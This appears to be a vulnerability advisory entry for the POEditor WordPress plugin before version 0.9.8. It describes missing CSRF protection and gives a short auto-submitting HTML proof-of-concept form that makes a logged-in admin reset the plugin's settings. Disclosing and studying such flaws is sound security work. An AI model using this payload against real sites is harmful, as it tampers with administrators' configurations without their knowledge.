POEditor < 0.9.8 - Settings Reset via CSRF

2023-08-0700:00:00

Dmitrii

poeditor csrf settings reset

html form

cross-site request forgery

security exploit

AI Score

7.3

Confidence

Low

EPSS

0.001

Percentile

17.0%

JSON

Description The plugin does not have CSRF checks in various places, which could allow attackers to make logged in admins perform unwanted actions, such as reset the plugin’s settings and update its API key via CSRF attacks.

<html>
  <body>
    <form action="https://example.com/wp-admin/tools.php">
      <input type="hidden" name="page" value="poeditor" />
      <input type="hidden" name="do" value="clean" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>